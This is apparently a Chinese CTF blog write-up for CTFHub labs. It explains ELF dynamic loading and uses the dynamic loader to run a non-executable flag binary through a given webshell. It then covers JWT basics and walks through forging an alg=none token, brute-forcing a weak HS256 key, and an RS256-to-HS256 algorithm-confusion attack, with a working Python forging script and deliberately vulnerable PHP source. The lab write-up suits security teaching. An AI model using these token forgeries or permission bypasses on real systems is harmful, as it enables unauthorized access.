宣传一波 更好的阅读体验 👉 个人blog
1.Linux
1.动态挂载器
本题难度较大,谨慎开启。学习 Linux ELF Dynaamic Loader 技术。在 ELF 无 x 权限时运行 ELF 文件。
我觉得做这题前先有些前提知识:
Linux的so文件到底是干嘛的?浅析Linux的动态链接库
linux–>ldd命令的介绍_ldd ln -s-CSDN博客
linux系统——ld-linux.so.X查找和加载共享动态库的顺序 - eric0803 - 博客园 (cnblogs.com)
linux系统——ld-linux.so.X作用_linux ld.so-CSDN博客
1.动态库链接器/加载器
当需要动态链接的应用被操作系统加载时系统必须要定位然后加载它所需要的所有动态库文件
在Linux环境下,比如说我要执行ls
命令,过程是这样的:操作系统会将 控制权 交给 ld-linux.so 而不是 交给程序正常的进入地址。 ld-linux.so.2 会寻找然后加载所有需要的库文件,然后再将控制权交给应用的起始入口。
ls在启动时,就需要ld-linux.so加载器将所有的动态库加载后然后再将控制权移交给ls程序的入口。
2.动态加载
动态加载是一种机制,通过该机制,计算机程序可以在运行时将库(或其他二进制)加载到存储器中,检索包含在库中的函数和变量的地址,执行那些函数或访问那些变量,以及从存储器中卸载库。它是计算机程序使用其他软件的三种机制之一;另外两种是静态链接和动态链接。与静态链接和动态链接不同,动态加载允许计算机程序在缺少这些库的情况下启动,以发现可用的库,并潜在地获得附加功能。
3.ELF (文件格式)
在计算机科学中,是一种用于二进制文件、可执行文件、目标代码、共享库和核心转储格式文件
通俗理解成在linux下的可执行文件(对比c文件编译后成的链接也是可执行文件)
4.ldd
ldd本身不是一个程序,而仅是一个shell脚本:ldd可以列出一个程序所需要得动态链接库(so)
我们可以用which命令找到ldd的位置:
$ which ldd
/usr/bin/ldd
在制作自己的发行版时经常需要判断某条命令需要哪些共享库文件的支持,以确保指定的命令在独立的系统内可以可靠的运行;
在Linux环境下我们可以用ldd
命令查看某个可执行文件依赖了哪些动态链接库。
ldd命令通常使用”-v”或”–verbose”选项来显示所依赖的动态连接库的尽可能的详细信息。
即可得到/bin/ls命令的相关共享库文件列表:
# 注意: 在 ldd 命令打印的结果中,“=>”左边的表示该程序需要连接的共享库之 so 名称,右边表示由 Linux 的共享库系统找到的对应的共享库在文件系统中的具体位置。默认情况下, /etc/ld.so.conf 文件中包含有默认的共享库搜索路径。
# on Ubuntu 16.04 x86_64
$ ldd /bin/ls
linux-vdso.so.1 => (0x00007ffcd3dd9000)
libselinux.so.1 => /lib/x86_64-linux-gnu/libselinux.so.1 (0x00007f4547151000) # /bin/ls 依赖于 libselinux.so.1 库,该库提供了安全增强 Linux (SELinux) 的支持。
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f4546d87000)
libpcre.so.3 => /lib/x86_64-linux-gnu/libpcre.so.3 (0x00007f4546b17000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007f4546913000)
/lib64/ld-linux-x86-64.so.2 (0x00007f4547373000) # 这是动态链接器本身。它是运行时用来加载和链接共享库的程序。
libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007f45466f6000)
so
文件后面往往跟着很多数字,这表示了不同的版本。so
文件命名规则被称为SONAME:
libname.so.x.y.z
lib是前缀,这是一个约定俗成的规则。x为主版本号(Major Version),y为次版本号(Minor Version),z为发布版本号(Release Version)。
- Major Version表示重大升级,不同Major Version之间的库是不兼容的。Major Version升级后,或者依赖旧Major Version的程序需要更新代码,重新编译,才可以在新的Major Version上运行;或者操作系统保留旧Major Version,使得老程序依然能运行。
- Minor Version表示增量更新,一般是增加了一些新接口,原来的接口不变。所以,在Major Version相同的情况下,Minor Version从高到低是兼容的。
- Release Version表示库的一些bug修复,性能改进等,不添加任何新的接口,不改变原来的接口。
但是我们刚刚看到的.so
只有一个Major Version,因为这是一个软连接,libname.so.x
软连接到了libname.so.x.y.z
文件上。
$ ls -l /lib/x86_64-linux-gnu/libpcre.so.3
/lib/x86_64-linux-gnu/libpcre.so.3 -> libpcre.so.3.13.2
因为不同的Major Version之间不兼容,而Minor Version和Release Version都是向下兼容的,软连接会指向Major Version相同,Minor Version和Release Version最高的.so
文件上。
解题:
既然给了我们WebShell,我们直接用蚁剑连就是了
然后去找flag
然后发现flag是0600,readflag是0644
数字表示权限 如 chomd 777 file
比如说: chomd xyz file
x: 表示 代表文件所有者拥有的权限 (User)
y:代表文件所有者同组用户的权限为 (Group)
z:代表公共用户的权限 (Other)
同时:读的权限 : r= 4 写的权限:w = 2 运行的权限为 x = 1
所以 ,755意味着:
User rwx属性全都具备:4+2+1=7
Group、Other 只具备 r x : 4+1=5
644 意味着失去了运行的权限
这个时候我们就能利用ld-linux.so加载器进行绕过权限
原理:
ld-linux.so.2 glibc的库文件,一般链接到相应版本的ld-xxx.so上,是和动态库载入有关的函数
我们可以通过ldd 命令来查看一个 应用需要哪些依赖的动态库
同时在加载 动态库的时候,控制权在ld-linux.so加载器加载完所有的动态库的时候才会将权限移交给程序
而且, ELF 文件提供了相应的加载信息, GCC包含了一个特殊的 ELF 头INTERP, 这个 INTERP指定了 加载器的路径。ELF 规格要求,假如 PT_INTERP 存在的话,操作系统必须创建这个 interpreter文件的运行映射,而不是这个程序本身, 控制权会交给这个interpreter,用来定位和加载所有的动态库.
从而达到绕过 程序本身的权限不足
所以我们使用动态加载器动态链接 elf文件
我们先用ldd
命令查看运行ls
,cat
等命令所依赖的共享库和它们的加载路径
有两种写法,不知道路径可以使用
ldd `which xxx` # which 命令用于在系统的 PATH 环境变量中查找可执行文件的路径
知道路径可以直接用
ldd bin/ls
然后就能发现这些指令都包括动态链接器本身 /lib64/ld-linux-x86-64.so.2
。这意味着动态链接器是运行任何 Linux 可执行文件所必需的组件,包括通过指定其路径来直接执行的可执行文件。
因此,通过使用动态链接器的路径 /lib64/ld-linux-x86-64.so.2
来执行 /readflag
文件,实际上是利用了 Linux 系统中的动态链接机制来启动该文件。即使 /readflag
文件的权限限制了其执行范围(如 0644),使用动态链接器仍然可以绕过这些权限限制,因为动态链接器具有足够的权限来加载和执行可执行文件。
使用指令
/lib64/ld-linux-x86-64.so.2 /readflag
就能获取flag了
以上就是我在学习动态挂载器的所得了,因为大部分就是源引资料,而且也加入了自己的理解,可能有部分理解出问题,如有错误,请多包涵,顺便告诉我,一起学习🤗
2.JSON Web Token
1.基础知识
学习什么是 JWT
题目附件:https://www.wolai.com/ctfhub/hcFRbVUSwDUD1UTrPJbkob
什么是JWT
Json Web Token (JWT), 是为了在网络应用环境间传递声明而执行的一种基于JSON的开放标准(RFC 7519。
该token被设计为紧凑且安全的,特别适用于分布式站点的单点登录(SSO)场景,是目前最流行的跨域认证解决方案。JWT的声明一般被用来在身份提供者和服务提供者间传递被认证的用户身份信息,以便于从资源服务器获取资源,也可以增加一些额外的其它业务逻辑所必须的声明信息,该token也可直接被用于认证,也可被加密。
JWT 的原理
JWT 的原理是,服务器认证以后,生成一个 JSON 对象,发回给用户,就像下面这样。
{
"姓名": "张三",
"角色": "管理员",
"到期时间": "2018年7月1日0点0分"
}
以后,用户与服务端通信的时候,都要发回这个 JSON 对象。服务器完全只靠这个对象认定用户身份。为了防止用户篡改数据,服务器在生成这个对象的时候,会加上签名(详见后文)。
服务器就不保存任何 session 数据了,也就是说,服务器变成无状态了,从而比较容易实现扩展。
JWT 的数据结构
实际当中 JWT 长这个样子:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkNURkh1YiIsImlhdCI6MTUxNjIzOTAyMn0.Y2PuC-D6SfCRpsPN19_1Sb4WPJNkJr7lhG6YzA8-9OQ
它是一个很长的字符串,中间用点(.)分隔成三个部分。注意,JWT 内部是没有换行的
JWT 的三个部分依次如下:
- Header(头部)
- Payload(负载)
- Signature(签名)
写成一行,就是下面的样子。
Header.Payload.Signature
每个部分最后都会使用 base64URLEncode方式进行编码
#!/usr/bin/env python
function base64url_encode($data) {
return rtrim(strtr(base64_encode($data), '+/', '-_'), '=');
}
Header
Header 部分是一个 JSON 对象,描述 JWT 的元数据,以上面的例子,使用 base64decode 之后:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
{
"alg": "HS256",
"typ": "JWT"
}
header部分最常用的两个字段是alg和typ。
alg属性表示token签名的算法(algorithm),最常用的为HMAC和RSA算法
typ属性表示这个token的类型(type),JWT 令牌统一写为JWT。
Payload
Payload 部分也是一个 JSON 对象,用来存放实际需要传递的数据。JWT 规定了7个官方字段,供选用。
- iss (issuer):签发人
- exp (expiration time):过期时间
- sub (subject):主题
- aud (audience):受众
- nbf (Not Before):生效时间
- iat (Issued At):签发时间
- jti (JWT ID):编号
除了官方字段,还可以在这个部分定义私有字段,以上面的例子为例,将 payload 部分解 base64 之后:
eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkNURkh1YiIsImlhdCI6MTUxNjIzOTAyMn0
{
"sub": "1234567890",
"name": "CTFHub",
"iat": 1516239022
}
注意:JWT 默认是不会对 Payload 加密的,也就意味着任何人都可以读到这部分JSON的内容,所以不要将私密的信息放在这个部分
Signature
Signature 部分是对前两部分的签名,防止数据篡改
首先,需要指定一个密钥(secret)。这个密钥只有服务器才知道,不能泄露给用户。然后,使用 Header 里面指定的签名算法(默认是 HMAC SHA256),按照下面的公式产生签名。
HMACSHA256(
base64UrlEncode(header) + "." +
base64UrlEncode(payload),
secret)
算出签名以后,把 Header、Payload、Signature 三个部分拼成一个字符串,每个部分之间用”点”(.)分隔,就可以返回给用户。
参考链接
阮一峰老师亲作(力推,写的很清晰)
最后一个链接时维基百科,需要翻墙
2.敏感信息泄露
JWT 的头部和有效载荷这两部分的数据是以明文形式传输的,如果其中包含了敏感信息的话,就会发生敏感信息泄露。试着找出FLAG。格式为 flag{}
题目写的很清楚,就是获取token,flag藏在token里面,这里给官方的解码网站JSON Web Tokens - jwt.io
随便用个用户名和密码登录
然后用burp抓包,或者f12查看cookie,就能看到token
放到网站进行解码,把flag拼接好就行了
3.无签名
一些JWT库也支持none算法,即不使用签名算法。当alg字段为空时,后端将不执行签名验证。尝试找到 flag。
其实步骤和上面一样就是多了修改加密算法为none和修改role为admin(题目以及登录后给的提示)
先去抓包
把token解码
遗憾的是这个网站不支持none
把header部分和payload部分进行修改
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0=
eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiIxMjMiLCJyb2xlIjoiYWRtaW4ifQ==
然后拼接一下
JWT 作为一个令牌(token),有些场合可能会放到 URL(比如 api.example.com/?token=xxx)。Base64 有三个字符+、/和=,在 URL 里面有特殊含义,所以要被替换掉:=被省略、+替换成-,/替换成_ 。
=号被省略(小数点记得不能丢)
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiIxMjMiLCJyb2xlIjoiYWRtaW4ifQ.
用burp发送就行了
彩蛋:
不知道怎么触发的。。。
4.弱密钥
如果JWT采用对称加密算法,并且密钥的强度较弱的话,攻击者可以直接通过蛮力攻击方式来破解密钥。尝试获取flag
老样子登录+抓包发现加密算法是HS256
HS256 使用同一个「secret_key」进行签名与验证(对称加密)。
根据题目爆破密钥
这里需要用到c-jwt-cracker(上面工具有安装方法)
直接暴力跑就是了
把获取到的密钥输入+更换role(这里我忘记截图了,上网找的)
用burp发送就能获取flag
又是彩蛋。。。(不明白怎么触发的)
5.修改签名算法
有些JWT库支持多种密码算法进行签名、验签。若目标使用非对称密码算法时,有时攻击者可以获取到公钥,此时可通过修改JWT头部的签名算法,将非对称密码算法改为对称密码算法,从而达到攻击者目的。
源码
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />
<title>CTFHub JWTDemo</title>
<link rel="stylesheet" href="/static/style.css" />
</head>
<body>
<main id="content">
<header>Web Login</header>
<form id="login-form" method="POST">
<input type="text" name="username" placeholder="Username" />
<input type="password" name="password" placeholder="Password" />
<input type="submit" name="action" value="Login" />
</form>
<a href="/publickey.pem">publickey.pem</a>
</main>
<?php echo $_COOKIE['token'];?>
<hr/>
</body>
</html>
<?php
require __DIR__ . '/vendor/autoload.php';
use \Firebase\JWT\JWT;
class JWTHelper {
public static function encode($payload=array(), $key='', $alg='HS256') {
return JWT::encode($payload, $key, $alg);
}
public static function decode($token, $key, $alg='HS256') {
try{
$header = JWTHelper::getHeader($token);
$algs = array_merge(array($header->alg, $alg));
return JWT::decode($token, $key, $algs);
} catch(Exception $e){
return false;
}
}
public static function getHeader($jwt) {
$tks = explode('.', $jwt);
list($headb64, $bodyb64, $cryptob64) = $tks;
$header = JWT::jsonDecode(JWT::urlsafeB64Decode($headb64));
return $header;
}
}
$FLAG = getenv("FLAG");
$PRIVATE_KEY = file_get_contents("/privatekey.pem");
$PUBLIC_KEY = file_get_contents("./publickey.pem");
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (!empty($_POST['username']) && !empty($_POST['password'])) {
$token = "";
if($_POST['username'] === 'admin' && $_POST['password'] === $FLAG){
$jwt_payload = array(
'username' => $_POST['username'],
'role'=> 'admin',
);
$token = JWTHelper::encode($jwt_payload, $PRIVATE_KEY, 'RS256');
} else {
$jwt_payload = array(
'username' => $_POST['username'],
'role'=> 'guest',
);
$token = JWTHelper::encode($jwt_payload, $PRIVATE_KEY, 'RS256');
}
@setcookie("token", $token, time()+1800);
header("Location: /index.php");
exit();
} else {
@setcookie("token", "");
header("Location: /index.php");
exit();
}
} else {
if(!empty($_COOKIE['token']) && JWTHelper::decode($_COOKIE['token'], $PUBLIC_KEY) != false) {
$obj = JWTHelper::decode($_COOKIE['token'], $PUBLIC_KEY);
if ($obj->role === 'admin') {
echo $FLAG;
}
} else {
show_source(__FILE__);
}
}
?>
公钥
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA3QKnxxeQJtZyw4QOC74k
b9sVGhCzzDUHUXIHD5yCH5e1Fyx2SJFBrpLTs58kMHGqE8CGMn3jMfGO+tNEdFyn
8HrItDsh7aVMWI61EEJ+ZpDrkfP8Ep98a07t/cBUxBxY5MdmQl/AfAlnh5qnfTQk
/A3RaUbuPTMHDqRI3PhEe7X+JDvL4q+4i2weaQA/Umnc2OEJ7t4q+aLeezRBvMaN
pL1RMB4SuyWrPVTvSEh8d1D5eDAP579r5mCj5s8jbtmE42nf1eKBnGKaW6+rUWws
/qBxrXMysCEllgMujDGsBekko+IJc/upgP9MHebaL6nLYjdsowTbJ1N5N/6OkfLD
nwIDAQAB
-----END PUBLIC KEY-----
登录抓包获取token
然后代码审计看源码
如果我们想要获得flag,我们发送的 token 不为空 并且发送的 cookie 为PUBLIC_KEY 也就是公码
并且 role 为 admin。
if(!empty($_COOKIE['token']) && JWTHelper::decode($_COOKIE['token'], $PUBLIC_KEY) != false) {
$obj = JWTHelper::decode($_COOKIE['token'], $PUBLIC_KEY);
if ($obj->role === 'admin') {
echo $FLAG;
}
} else {
show_source(__FILE__);
}
}
同时我们看上面:
public static function encode($payload=array(), $key='', $alg='HS256') {
return JWT::encode($payload, $key, $alg);
}
public static function decode($token, $key, $alg='HS256') {
try{
$header = JWTHelper::getHeader($token);
$algs = array_merge(array($header->alg, $alg));
return JWT::decode($token, $key, $algs);
}
}
发现在 JWTHelper类中,decode()、encode()默认的加密解密方式都为“HS256”
在回想这样一句话
JWTHelper::decode($_COOKIE['token'], $PUBLIC_KEY) != false
我们就明白了:
在JWTHelper类的decode()中,如果输入公匙正确,并且后面的if语句正确,那么就会就会显示flag。同时 公匙要HS256
加密。
所以我们要对公匙进行HS256
加密,加入到token后面
在这里,我们可以自己编写脚本进行加密(记得自己保存号自己的publickey.pem文件),脚本需要读取公钥文件
import hmac
import hashlib
import base64
file = open('publickey.pem') #需要将文中的publickey下载 与脚本同目录
key = file.read()
# Paste your header and payload here
header = '{"typ": "JWT", "alg": "HS256"}'
payload = '{"username": "admin", "role": "admin"}'
# Creating encoded header
encodeHBytes = base64.urlsafe_b64encode(header.encode("utf-8"))#对字节串进行Base64编码。encode("utf-8")是将这个字符串从UTF-8格式转换为字节串(bytes)
encodeHeader = str(encodeHBytes, "utf-8").rstrip("=") # .rstrip("=") .去除Base64编码后可能出现的尾随等号
# Creating encoded payload
encodePBytes = base64.urlsafe_b64encode(payload.encode("utf-8"))
encodePayload = str(encodePBytes, "utf-8").rstrip("=")
# Concatenating header and payload
token = (encodeHeader + "." + encodePayload)
# Creating signature
sig = base64.urlsafe_b64encode(hmac.new(bytes(key, "UTF-8"), token.encode("utf-8"), hashlib.sha256).digest()).decode("UTF-8").rstrip("=")
print(token + "." + sig)
用burp发送即可获得flag